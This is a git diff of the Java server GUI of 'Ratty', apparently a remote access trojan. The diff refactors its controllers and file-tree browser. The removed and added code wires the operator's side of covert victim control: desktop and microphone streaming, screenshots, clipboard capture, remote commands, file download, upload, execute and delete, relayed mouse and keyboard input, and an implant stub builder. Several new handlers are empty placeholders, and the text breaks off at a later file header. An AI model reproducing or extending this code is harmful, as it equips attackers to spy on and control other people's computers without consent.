diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java index a148b39..8fd24e6 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java @@ -5,18 +5,19 @@ import java.awt.Graphics2D; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; +import de.sogomn.engine.IKeyboardListener; import de.sogomn.engine.IMouseListener; import de.sogomn.engine.Screen; import de.sogomn.engine.Screen.ResizeBehavior; import de.sogomn.engine.util.ImageUtils; -import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.KeyEventPacket; import de.sogomn.rat.packet.MouseEventPacket; import de.sogomn.rat.util.FrameEncoder.IFrame; -public final class DisplayController { +public final class DisplayController implements ISubController, IMouseListener, IKeyboardListener { - private ActiveConnection connection; + private ServerClient client; private Screen screen; private BufferedImage image; @@ -24,36 +25,20 @@ public final class DisplayController { private static final int SCREEN_WIDTH = 1920 / 2; private static final int SCREEN_HEIGHT = 1080 / 2; - public DisplayController(final ActiveConnection connection) { - this.connection = connection; + public DisplayController(final ServerClient client) { + this.client = client; } private Screen createScreen(final int width, final int height) { final Screen screen = new Screen(width, height); - final String title = connection.getAddress(); - final IMouseListener mouseListener = new IMouseListener() { - @Override - public void mouseEvent(final int x, final int y, final int button, final boolean flag) { - mouseEventPerformed(x, y, button, flag); - } - - @Override - public void mouseMotionEvent(final int x, final int y, final int modifiers) { - //... - } - - @Override - public void mouseWheelEvent(final int x, final int y, final int rotation) { - //... - } - }; + final String title = client.connection.getAddress(); screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); screen.setTitle(title); screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); screen.setBackgroundColor(Color.BLACK); - screen.addMouseListener(mouseListener); - screen.addKeyboardListener(this::keyEventPerformed); + screen.addMouseListener(this); + screen.addKeyboardListener(this); screen.addListener(g -> { g.drawImage(image, 0, 0, null); }); @@ -61,32 +46,6 @@ public final class DisplayController { return screen; } - private void mouseEventPerformed(final int x, final int y, final int button, final boolean flag) { - final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE; - final int buttonEvent; - - if (button == MouseEvent.BUTTON1) { - buttonEvent = MouseEvent.BUTTON1_DOWN_MASK; - } else if (button == MouseEvent.BUTTON2) { - buttonEvent = MouseEvent.BUTTON2_DOWN_MASK; - } else if (button == MouseEvent.BUTTON3) { - buttonEvent = MouseEvent.BUTTON3_DOWN_MASK; - } else { - buttonEvent = MouseEvent.NOBUTTON; - } - - final MouseEventPacket packet = new MouseEventPacket(x, y, buttonEvent, type); - - connection.addPacket(packet); - } - - private void keyEventPerformed(final int key, final boolean flag) { - final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE; - final KeyEventPacket packet = new KeyEventPacket(key, type); - - connection.addPacket(packet); - } - private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) { final Graphics2D g = image.createGraphics(); @@ -139,4 +98,52 @@ public final class DisplayController { updateScreen(screenWidth, screenHeight); } + @Override + public void userInput(final String actionCommand) { + //... + } + + @Override + public void handlePacket(final IPacket packet) { + //... + } + + @Override + public void mouseEvent(final int x, final int y, final int button, final boolean flag) { + final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE; + final int buttonEvent; + + if (button == MouseEvent.BUTTON1) { + buttonEvent = MouseEvent.BUTTON1_DOWN_MASK; + } else if (button == MouseEvent.BUTTON2) { + buttonEvent = MouseEvent.BUTTON2_DOWN_MASK; + } else if (button == MouseEvent.BUTTON3) { + buttonEvent = MouseEvent.BUTTON3_DOWN_MASK; + } else { + buttonEvent = MouseEvent.NOBUTTON; + } + + final MouseEventPacket packet = new MouseEventPacket(x, y, buttonEvent, type); + + client.connection.addPacket(packet); + } + + @Override + public void mouseMotionEvent(final int x, final int y, final int modifiers) { + //... + } + + @Override + public void mouseWheelEvent(final int x, final int y, final int rotation) { + //... + } + + @Override + public void keyboardEvent(final int key, final boolean flag) { + final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE; + final KeyEventPacket packet = new KeyEventPacket(key, type); + + client.connection.addPacket(packet); + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java new file mode 100644 index 0000000..dfdd73e --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java @@ -0,0 +1,146 @@ +package de.sogomn.rat.server.gui; + +import java.awt.Dimension; +import java.awt.event.ActionEvent; +import java.awt.event.MouseAdapter; +import java.awt.event.MouseEvent; +import java.awt.image.BufferedImage; + +import javax.swing.Icon; +import javax.swing.ImageIcon; +import javax.swing.JFrame; +import javax.swing.JMenuItem; +import javax.swing.JPopupMenu; +import javax.swing.JScrollPane; +import javax.swing.JTree; +import javax.swing.tree.DefaultTreeModel; +import javax.swing.tree.TreePath; + +import de.sogomn.engine.fx.SpriteSheet; +import de.sogomn.engine.util.AbstractListenerContainer; + +public final class FileTree extends AbstractListenerContainer { + + private JFrame frame; + + private FileTreeNode root; + private JTree tree; + private DefaultTreeModel treeModel; + private JScrollPane scrollPane; + + private JPopupMenu menu; + + private FileTreeNode lastNodeClicked; + + private static final String ROOT_NAME = "Drives"; + private static final Dimension DEFAULT_SIZE = new Dimension(500, 500); + + private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); + + public static final String REQUEST = "Request content"; + public static final String DOWNLOAD = "Download file"; + public static final String UPLOAD = "Upload file here"; + public static final String EXECUTE = "Execute file"; + public static final String DELETE = "Delete file"; + public static final String NEW_FOLDER = "Create new folder here"; + + public static final String[] COMMANDS = { + REQUEST, + DOWNLOAD, + UPLOAD, + EXECUTE, + DELETE, + NEW_FOLDER + }; + + public FileTree() { + frame = new JFrame(); + root = new FileTreeNode(ROOT_NAME); + tree = new JTree(root); + treeModel = (DefaultTreeModel)tree.getModel(); + scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); + menu = new JPopupMenu(); + + for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { + final String command = COMMANDS[i]; + final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); + + addMenuItem(command, icon); + } + + final MouseAdapter mouseAdapter = new MouseAdapter() { + @Override + public void mousePressed(final MouseEvent m) { + final int x = m.getX(); + final int y = m.getY(); + final TreePath path = tree.getPathForLocation(x, y); + + tree.setSelectionPath(path); + + if (path != null) { + lastNodeClicked = (FileTreeNode)path.getLastPathComponent(); + } else { + lastNodeClicked = null; + } + } + }; + + scrollPane.setBorder(null); + tree.addMouseListener(mouseAdapter); + tree.setEditable(false); + tree.setComponentPopupMenu(menu); + + frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); + frame.setPreferredSize(DEFAULT_SIZE); + frame.setContentPane(scrollPane); + frame.pack(); + frame.setLocationByPlatform(true); + } + + private void addMenuItem(final String name, final Icon icon) { + final JMenuItem item = new JMenuItem(name); + + item.setActionCommand(name); + item.addActionListener(this::menuItemClicked); + item.setIcon(icon); + + menu.add(item); + } + + private void menuItemClicked(final ActionEvent a) { + final String command = a.getActionCommand(); + + notifyListeners(controller -> controller.userInput(command)); + } + + public void addNodes(final String... names) { + FileTreeNode current = root; + + for (final String name : names) { + final FileTreeNode next = current.getChild(name); + + if (next == null) { + final FileTreeNode node = new FileTreeNode(name); + + treeModel.insertNodeInto(node, current, 0); + + current = node; + } else { + current = next; + } + } + } + + public void setVisible(final boolean visible) { + frame.setVisible(true); + } + + public void setTitle(final String title) { + frame.setTitle(title); + } + + public FileTreeNode getLastNodeClicked() { + return lastNodeClicked; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java new file mode 100644 index 0000000..da561a1 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java @@ -0,0 +1,44 @@ +package de.sogomn.rat.server.gui; + +import de.sogomn.rat.packet.IPacket; + +public final class FileTreeController implements ISubController { + + private ServerClient client; + + private FileTree fileTree; + + public FileTreeController(final ServerClient client) { + this.client = client; + + fileTree = new FileTree(); + + final String title = client.connection.getAddress(); + + fileTree.addListener(this); + fileTree.setTitle(title); + } + + @Override + public void userInput(final String command) { + if (command == FileTree.REQUEST) { + //... + } else if (command == FileTree.DOWNLOAD) { + //... + } else if (command == FileTree.UPLOAD) { + //... + } else if (command == FileTree.EXECUTE) { + //... + } else if (command == FileTree.NEW_FOLDER) { + //... + } else if (command == FileTree.DELETE) { + //... + } + } + + @Override + public void handlePacket(final IPacket packet) { + //... + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java new file mode 100644 index 0000000..2167a24 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java @@ -0,0 +1,169 @@ +package de.sogomn.rat.server.gui; + +import java.io.File; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Enumeration; + +import javax.swing.tree.MutableTreeNode; +import javax.swing.tree.TreeNode; + +public final class FileTreeNode implements MutableTreeNode { + + private FileTreeNode parent; + private ArrayList children; + + private String name; + + public FileTreeNode(final String name) { + this.name = name; + + children = new ArrayList(); + } + + @Override + public Enumeration children() { + final Enumeration enumeration = Collections.enumeration(children); + + return enumeration; + } + + @Override + public void insert(final MutableTreeNode child, final int index) { + final boolean fileTreeNode = child instanceof FileTreeNode; + + if (index < 0 || index > children.size() - 1 || !fileTreeNode) { + return; + } + + final FileTreeNode fileTreeNodeChild = (FileTreeNode)child; + + children.add(index, fileTreeNodeChild); + } + + @Override + public void remove(final int index) { + if (index < 0 || index > children.size() - 1) { + return; + } + + children.remove(index); + } + + @Override + public void remove(final MutableTreeNode node) { + children.remove(node); + } + + @Override + public void removeFromParent() { + if (parent == null) { + return; + } + + parent.remove(this); + } + + @Override + public void setParent(final MutableTreeNode newParent) { + final boolean fileTreeNode = newParent instanceof FileTreeNode; + + if (!fileTreeNode) { + return; + } + + final FileTreeNode fileTreeNodeParent = (FileTreeNode)newParent; + + parent = fileTreeNodeParent; + } + + @Override + public void setUserObject(final Object object) { + name = String.valueOf(object); + } + + @Override + public boolean getAllowsChildren() { + return true; + } + + @Override + public FileTreeNode getChildAt(final int childIndex) { + if (childIndex < 0 || childIndex > children.size() - 1) { + return null; + } + + final FileTreeNode child = children.get(childIndex); + + return child; + } + + @Override + public int getChildCount() { + return children.size(); + } + + @Override + public int getIndex(final TreeNode node) { + final int index = children.indexOf(node); + + return index; + } + + @Override + public FileTreeNode getParent() { + return parent; + } + + @Override + public boolean isLeaf() { + return getChildCount() == 0; + } + + public String getPath() { + final StringBuilder builder = new StringBuilder(); + + FileTreeNode current = this; + + while (current != null) { + final String name = current.getName(); + + builder.insert(0, name + File.separator); + + current = current.getParent(); + } + + return builder.toString(); + } + + public String getName() { + return name; + } + + public FileTreeNode getChild(final String name) { + for (final FileTreeNode child : children) { + final String childName = child.getName(); + + if (childName.equals(name)) { + return child; + } + } + + return null; + } + + public FileTreeNode getDeepChild(final String... names) { + FileTreeNode current = this; + + for (final String name : names) { + current = current.getChild(name); + + if (current == null) { + return null; + } + } + + return current; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java deleted file mode 100644 index 51e7985..0000000 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ /dev/null @@ -1,289 +0,0 @@ -package de.sogomn.rat.server.gui; - -import java.awt.Dimension; -import java.awt.event.ActionEvent; -import java.awt.event.MouseAdapter; -import java.awt.event.MouseEvent; -import java.awt.image.BufferedImage; -import java.io.File; -import java.util.stream.Collectors; -import java.util.stream.Stream; - -import javax.swing.Icon; -import javax.swing.ImageIcon; -import javax.swing.JDialog; -import javax.swing.JFrame; -import javax.swing.JMenuItem; -import javax.swing.JPopupMenu; -import javax.swing.JScrollPane; -import javax.swing.JTree; -import javax.swing.tree.DefaultMutableTreeNode; -import javax.swing.tree.DefaultTreeModel; -import javax.swing.tree.TreeNode; -import javax.swing.tree.TreePath; - -import de.sogomn.engine.fx.SpriteSheet; - -public final class FileTreePanel { - - private JDialog dialog; - - private DefaultMutableTreeNode root; - private JTree tree; - private DefaultTreeModel treeModel; - private JScrollPane scrollPane; - - private JPopupMenu menu; - - private DefaultMutableTreeNode lastNodeClicked; - private IGuiController controller; - - private static final String ROOT_NAME = "Drives"; - private static final int DEFAULT_WIDTH = 500; - private static final int DEFAULT_HEIGHT = 500; - - private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); - - public static final String REQUEST = "Request content"; - public static final String DOWNLOAD = "Download file"; - public static final String UPLOAD = "Upload file here"; - public static final String EXECUTE = "Execute file"; - public static final String DELETE = "Delete file"; - public static final String NEW_FOLDER = "Create new folder here"; - - public static final String[] COMMANDS = { - REQUEST, - DOWNLOAD, - UPLOAD, - EXECUTE, - DELETE, - NEW_FOLDER - }; - - public FileTreePanel() { - dialog = new JDialog(); - root = new DefaultMutableTreeNode(ROOT_NAME); - tree = new JTree(root); - treeModel = (DefaultTreeModel)tree.getModel(); - scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); - menu = new JPopupMenu(); - - for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { - final String command = COMMANDS[i]; - final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); - - addMenuItem(command, icon); - } - - final MouseAdapter mouseAdapter = new MouseAdapter() { - @Override - public void mousePressed(final MouseEvent m) { - final int x = m.getX(); - final int y = m.getY(); - final TreePath path = tree.getPathForLocation(x, y); - - tree.setSelectionPath(path); - - if (path != null) { - lastNodeClicked = (DefaultMutableTreeNode)path.getLastPathComponent(); - } else { - lastNodeClicked = null; - } - } - }; - - scrollPane.setBorder(null); - tree.addMouseListener(mouseAdapter); - tree.setEditable(false); - tree.setComponentPopupMenu(menu); - - dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); - dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT)); - dialog.setContentPane(scrollPane); - dialog.pack(); - dialog.setLocationByPlatform(true); - } - - private void addMenuItem(final String name, final Icon icon) { - final JMenuItem item = new JMenuItem(name); - - item.setActionCommand(name); - item.addActionListener(this::menuItemClicked); - item.setIcon(icon); - - menu.add(item); - } - - private void menuItemClicked(final ActionEvent a) { - if (controller == null) { - return; - } - - final String command = a.getActionCommand(); - - controller.userInput(command); - } - - private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) { - final int childCount = node.getChildCount(); - final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount]; - - for (int i = 0; i < childCount; i++) { - final DefaultMutableTreeNode child = (DefaultMutableTreeNode)node.getChildAt(i); - - children[i] = child; - } - - return children; - } - - private DefaultMutableTreeNode getChildByName(final DefaultMutableTreeNode node, final String name) { - final DefaultMutableTreeNode[] children = getChildren(node); - - for (final DefaultMutableTreeNode child : children) { - final Object object = child.getUserObject(); - - if (object.equals(name)) { - return child; - } - } - - return null; - } - - private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String[] path) { - if (path.length == 0) { - return null; - } - - final String name = path[0]; - final DefaultMutableTreeNode node = getChildByName(start, name); - - if (path.length == 1 || node == null) { - return node; - } - - final String[] remainingPath = new String[path.length - 1]; - System.arraycopy(path, 1, remainingPath, 0, remainingPath.length); - - return getByName(node, remainingPath); - } - - private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String path) { - final String[] pathParts = path.split("\\" + File.separator); - - return getByName(start, pathParts); - } - - private void addAll(final DefaultMutableTreeNode root, final String[] path) { - if (path.length == 0) { - return; - } - - final String name = path[0]; - - DefaultMutableTreeNode node = getChildByName(root, name); - - if (node == null) { - node = new DefaultMutableTreeNode(name); - - treeModel.insertNodeInto(node, root, 0); - } - - final String[] remainingPath = new String[path.length - 1]; - System.arraycopy(path, 1, remainingPath, 0, remainingPath.length); - - addAll(node, remainingPath); - } - - private String getPath(final DefaultMutableTreeNode end) { - final TreeNode[] parents = end.getPath(); - - final String path = Stream - .of(parents) - .skip(1) - .map(node -> (DefaultMutableTreeNode)node) - .map(DefaultMutableTreeNode::getUserObject) - .map(object -> (String)object) - .collect(Collectors.joining(File.separator)) + File.separator; - - return path; - } - - public void addFile(final String... path) { - addAll(root, path); - } - - public void addFile(final String path) { - final String[] pathParts = path.split("\\" + File.separator); - - addFile(pathParts); - } - - public void removeFile(final String... path) { - final DefaultMutableTreeNode node = getByName(root, path); - - if (node != null) { - treeModel.removeNodeFromParent(node); - } - } - - public void removeFile(final String path) { - final String[] pathParts = path.split("\\" + File.separator); - - removeFile(pathParts); - } - - public void removeChildren(final String path) { - final DefaultMutableTreeNode node = getByName(root, path); - - if (node != null) { - final DefaultMutableTreeNode[] children = getChildren(node); - - for (final DefaultMutableTreeNode child : children) { - treeModel.removeNodeFromParent(child); - } - } - } - - public void setTitle(final String title) { - dialog.setTitle(title); - } - - public void setVisible(final boolean state) { - dialog.setVisible(state); - } - - public void setController(final IGuiController controller) { - this.controller = controller; - } - - public DefaultMutableTreeNode getLastNodeClicked() { - return lastNodeClicked; - } - - public String getLastPathClicked() { - if (lastNodeClicked == null) { - return ""; - } - - final String path = getPath(lastNodeClicked); - - return path; - } - - public String getLastPathClickedFolder() { - final String path; - - if (!lastNodeClicked.isLeaf()) { - path = getPath(lastNodeClicked); - } else { - final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)lastNodeClicked.getParent(); - - path = getPath(parent); - } - - return path; - } - -} diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java index 564703b..99a190f 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java @@ -2,6 +2,6 @@ package de.sogomn.rat.server.gui; public interface IGuiController { - void userInput(final String actionCommand); + void userInput(final String command); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ISubController.java b/Ratty/src/de/sogomn/rat/server/gui/ISubController.java new file mode 100644 index 0000000..2447d8c --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/ISubController.java @@ -0,0 +1,9 @@ +package de.sogomn.rat.server.gui; + +import de.sogomn.rat.packet.IPacket; + +public interface ISubController extends IGuiController { + + void handlePacket(final IPacket packet); + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index bdd9da7..c5ee9de 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -21,9 +21,10 @@ import javax.swing.JScrollPane; import javax.swing.JTable; import de.sogomn.engine.fx.SpriteSheet; +import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.ImageUtils; -public final class RattyGui { +public final class RattyGui extends AbstractListenerContainer { private JFrame frame; @@ -36,7 +37,6 @@ public final class RattyGui { private JButton build; private ServerClient lastServerClientClicked; - private IGuiController controller; private static final Dimension SIZE = new Dimension(800, 600); @@ -130,13 +130,9 @@ public final class RattyGui { } private void actionPerformed(final ActionEvent a) { - if (controller == null) { - return; - } - final String command = a.getActionCommand(); - controller.userInput(command); + notifyListeners(controller -> controller.userInput(command)); } public void updateTable() { @@ -151,10 +147,6 @@ public final class RattyGui { tableModel.removeServerClient(client); } - public void setController(final IGuiController controller) { - this.controller = controller; - } - public ServerClient getLastServerClientClicked() { return lastServerClientClicked; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index f6db94e..3c48423 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -1,298 +1,76 @@ package de.sogomn.rat.server.gui; -import java.awt.image.BufferedImage; -import java.io.File; import java.util.ArrayList; -import javax.swing.JFileChooser; -import javax.swing.JOptionPane; -import javax.swing.filechooser.FileNameExtensionFilter; - -import de.sogomn.engine.fx.ISoundListener; -import de.sogomn.engine.fx.Sound; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.IConnectionObserver; -import de.sogomn.rat.builder.StubBuilder; -import de.sogomn.rat.packet.AudioPacket; -import de.sogomn.rat.packet.ClipboardPacket; -import de.sogomn.rat.packet.CommandPacket; -import de.sogomn.rat.packet.CreateFolderPacket; -import de.sogomn.rat.packet.DeleteFilePacket; -import de.sogomn.rat.packet.DesktopStreamPacket; -import de.sogomn.rat.packet.DownloadFilePacket; -import de.sogomn.rat.packet.ExecuteFilePacket; -import de.sogomn.rat.packet.FileSystemPacket; -import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; -import de.sogomn.rat.packet.PopupPacket; -import de.sogomn.rat.packet.ScreenshotPacket; -import de.sogomn.rat.packet.UploadFilePacket; -import de.sogomn.rat.packet.VoicePacket; -import de.sogomn.rat.packet.WebsitePacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; -import de.sogomn.rat.util.FrameEncoder.IFrame; -/* - * THIS CLASS IS A MESS! - * I HAVE NO IDEA HOW ONE MAKES NON-MESSY CONTROLLER CLASSES - */ public final class RattyGuiController implements IServerObserver, IConnectionObserver, IGuiController { private RattyGui gui; - private JFileChooser fileChooser; private ArrayList clients; public RattyGuiController(final RattyGui gui) { this.gui = gui; - fileChooser = new JFileChooser(); clients = new ArrayList(); - final String currentDirectoryPath = System.getProperty("user.dir"); - final File currentDirectory = new File(currentDirectoryPath); - - fileChooser.setCurrentDirectory(currentDirectory); - gui.setController(this); - } - - private ServerClient getServerClient(final ActiveConnection client) { - for (final ServerClient serverClient : clients) { - if (serverClient.connection == client) { - return serverClient; - } - } - - return null; + gui.addListener(this); } - private File chooseFile(final String fileType) { - final FileNameExtensionFilter filter; - - if (fileType != null) { - filter = new FileNameExtensionFilter("*." + fileType, fileType); - } else { - filter = null; - } - - fileChooser.setFileFilter(filter); - - final int input = fileChooser.showOpenDialog(null); + private void logIn(final ServerClient client, final InformationPacket packet) { - if (input == JFileChooser.APPROVE_OPTION) { - return fileChooser.getSelectedFile(); - } - - return null; - } - - private File chooseFile() { - return chooseFile(null); } - private IPacket getPacket(final String command, final ServerClient serverClient) { + private IPacket getPacket(final String command, final ServerClient client) { IPacket packet = null; - if (command == RattyGui.POPUP) { - final String input = JOptionPane.showInputDialog(null); - - if (input != null) { - packet = new PopupPacket(input); - } - } else if (command == RattyGui.FREE) { - packet = new FreePacket(); - } else if (command == RattyGui.SCREENSHOT) { - packet = new ScreenshotPacket(); - } else if (command == RattyGui.COMMAND) { - packet = CommandPacket.create(); - } else if (command == RattyGui.DESKTOP && !serverClient.isStreamingDesktop()) { - packet = new DesktopStreamPacket(true); - } else if (command == RattyGui.CLIPBOARD) { - packet = new ClipboardPacket(); - } else if (command == FileTreePanel.REQUEST) { - final FileTreePanel treePanel = serverClient.getTreePanel(); - final String path = treePanel.getLastPathClicked(); - - packet = new FileSystemPacket(path); - - treePanel.removeChildren(path); - } else if (command == FileTreePanel.DOWNLOAD) { - final FileTreePanel treePanel = serverClient.getTreePanel(); - final String path = treePanel.getLastPathClicked(); - - packet = new DownloadFilePacket(path); - } else if (command == FileTreePanel.UPLOAD) { - final File file = chooseFile(); - - if (file != null) { - final String localPath = file.getAbsolutePath(); - final FileTreePanel treePanel = serverClient.getTreePanel(); - final String path = treePanel.getLastPathClicked(); - - packet = new UploadFilePacket(localPath, path); - } - } else if (command == FileTreePanel.EXECUTE) { - final FileTreePanel treePanel = serverClient.getTreePanel(); - final String path = treePanel.getLastPathClicked(); - - packet = new ExecuteFilePacket(path); - } else if (command == FileTreePanel.NEW_FOLDER) { - final FileTreePanel treePanel = serverClient.getTreePanel(); - final String path = treePanel.getLastPathClicked(); - final String name = JOptionPane.showInputDialog(null); - - if (name != null && !name.isEmpty()) { - packet = new CreateFolderPacket(path, name); - } - } else if (command == FileTreePanel.DELETE) { - final FileTreePanel treePanel = serverClient.getTreePanel(); - final String path = treePanel.getLastPathClicked(); - - packet = new DeleteFilePacket(path); - } else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) { - packet = new VoicePacket(); - } else if (command == RattyGui.WEBSITE) { - final String input = JOptionPane.showInputDialog(null); - - if (input != null && !input.isEmpty()) { - packet = new WebsitePacket(input); - } - } else if (command == RattyGui.AUDIO) { - final File file = chooseFile("wav"); - - if (file != null) { - packet = new AudioPacket(file); - } - } - return packet; } - private void handle(final ServerClient serverClient, final ScreenshotPacket packet) { - final BufferedImage image = packet.getImage(); - - serverClient.getDisplayPanel().showImage(image); - } - - private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) { - final IFrame[] frames = packet.getFrames(); - final int screenWidth = packet.getScreenWidth(); - final int screenHeight = packet.getScreenHeight(); - final DesktopStreamPacket request = new DesktopStreamPacket(); - final DisplayController displayPanel = serverClient.getDisplayPanel(); - - displayPanel.showFrames(frames, screenWidth, screenHeight); - - serverClient.connection.addPacket(request); - } - - private void handle(final ServerClient serverClient, final VoicePacket packet) { - final Sound sound = packet.getSound(); - - sound.addListener(new ISoundListener() { - @Override - public void looped(final Sound source) { - //... - } - - @Override - public void stopped(final Sound source) { - final VoicePacket voice = new VoicePacket(); - - serverClient.connection.addPacket(voice); - } - }); - sound.play(); - } - - private void handle(final ServerClient serverClient, final FileSystemPacket packet) { - final FileTreePanel treePanel = serverClient.getTreePanel(); - final String[] paths = packet.getPaths(); - - for (final String path : paths) { - treePanel.addFile(path); - } - } - - private void handle(final ServerClient serverClient, final InformationPacket packet) { - final String name = packet.getName(); - final String os = packet.getOs(); - final String version = packet.getVersion(); - - serverClient.logIn(name, os, version); - serverClient.setController(this); - - gui.addRow(serverClient); - } - @Override - public void packetReceived(final ActiveConnection client, final IPacket packet) { - final ServerClient serverClient = getServerClient(client); - final boolean loggedIn = serverClient.isLoggedIn(); + public void packetReceived(final ActiveConnection connection, final IPacket packet) { + final ServerClient client = getClient(connection); + final boolean loggedIn = client.isLoggedIn(); if (loggedIn) { - if (packet instanceof ScreenshotPacket) { - final ScreenshotPacket screenshot = (ScreenshotPacket)packet; - - handle(serverClient, screenshot); - } else if (packet instanceof DesktopStreamPacket) { - final boolean streamingDesktop = serverClient.isStreamingDesktop(); - - if (streamingDesktop) { - final DesktopStreamPacket stream = (DesktopStreamPacket)packet; - - handle(serverClient, stream); - } - } else if (packet instanceof VoicePacket) { - final boolean streamingVoice = serverClient.isStreamingVoice(); - - if (streamingVoice) { - final VoicePacket voice = (VoicePacket)packet; - - handle(serverClient, voice); - } - } else if (packet instanceof FileSystemPacket) { - final FileSystemPacket file = (FileSystemPacket)packet; - - handle(serverClient, file); - } else { - packet.execute(client); - } + client.displayController.handlePacket(packet); + client.fileTreeController.handlePacket(packet); } else if (packet instanceof InformationPacket) { final InformationPacket information = (InformationPacket)packet; - handle(serverClient, information); + logIn(client, information); } } @Override - public void disconnected(final ActiveConnection client) { - final ServerClient serverClient = getServerClient(client); - final FileTreePanel treePanel = serverClient.getTreePanel(); + public void disconnected(final ActiveConnection connection) { + final ServerClient client = getClient(connection); - serverClient.setStreamingDesktop(false); - serverClient.setStreamingVoice(false); - serverClient.setController(null); + client.setStreamingDesktop(false); + client.setStreamingVoice(false); - client.setObserver(null); - client.close(); - clients.remove(client); + connection.setObserver(null); + connection.close(); - treePanel.setVisible(false); - gui.removeRow(serverClient); + clients.remove(client); + gui.removeRow(client); } @Override - public synchronized void connected(final ActiveServer server, final ActiveConnection client) { - final ServerClient serverClient = new ServerClient(client); + public synchronized void connected(final ActiveServer server, final ActiveConnection connection) { + final ServerClient client = new ServerClient(connection); final InformationPacket packet = new InformationPacket(); - client.setObserver(this); - clients.add(serverClient); - client.start(); - client.addPacket(packet); + connection.setObserver(this); + clients.add(client); + connection.start(); + connection.addPacket(packet); } @Override @@ -302,33 +80,22 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs @Override public void userInput(final String command) { - final ServerClient serverClient = gui.getLastServerClientClicked(); - final IPacket packet = getPacket(command, serverClient); + final ServerClient client = gui.getLastServerClientClicked(); + final IPacket packet = getPacket(command, client); if (packet != null) { - serverClient.connection.addPacket(packet); + client.connection.addPacket(packet); } - - if (command == RattyGui.DESKTOP) { - final boolean streaming = serverClient.isStreamingDesktop(); - - serverClient.setStreamingDesktop(!streaming); - gui.updateTable(); - } else if (command == RattyGui.FILES) { - final FileTreePanel treePanel = serverClient.getTreePanel(); - - treePanel.setVisible(true); - } else if (command == RattyGui.BUILD) { - StubBuilder.start(); - } else if (command == RattyGui.VOICE) { - final boolean streaming = serverClient.isStreamingVoice(); - - serverClient.setStreamingVoice(!streaming); - gui.updateTable(); - } else if (command == RattyGui.FREE) { - serverClient.setStreamingDesktop(false); - serverClient.setStreamingVoice(false); + } + + public ServerClient getClient(final ActiveConnection connection) { + for (final ServerClient serverClient : clients) { + if (serverClient.connection == connection) { + return serverClient; + } } + + return null; } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java 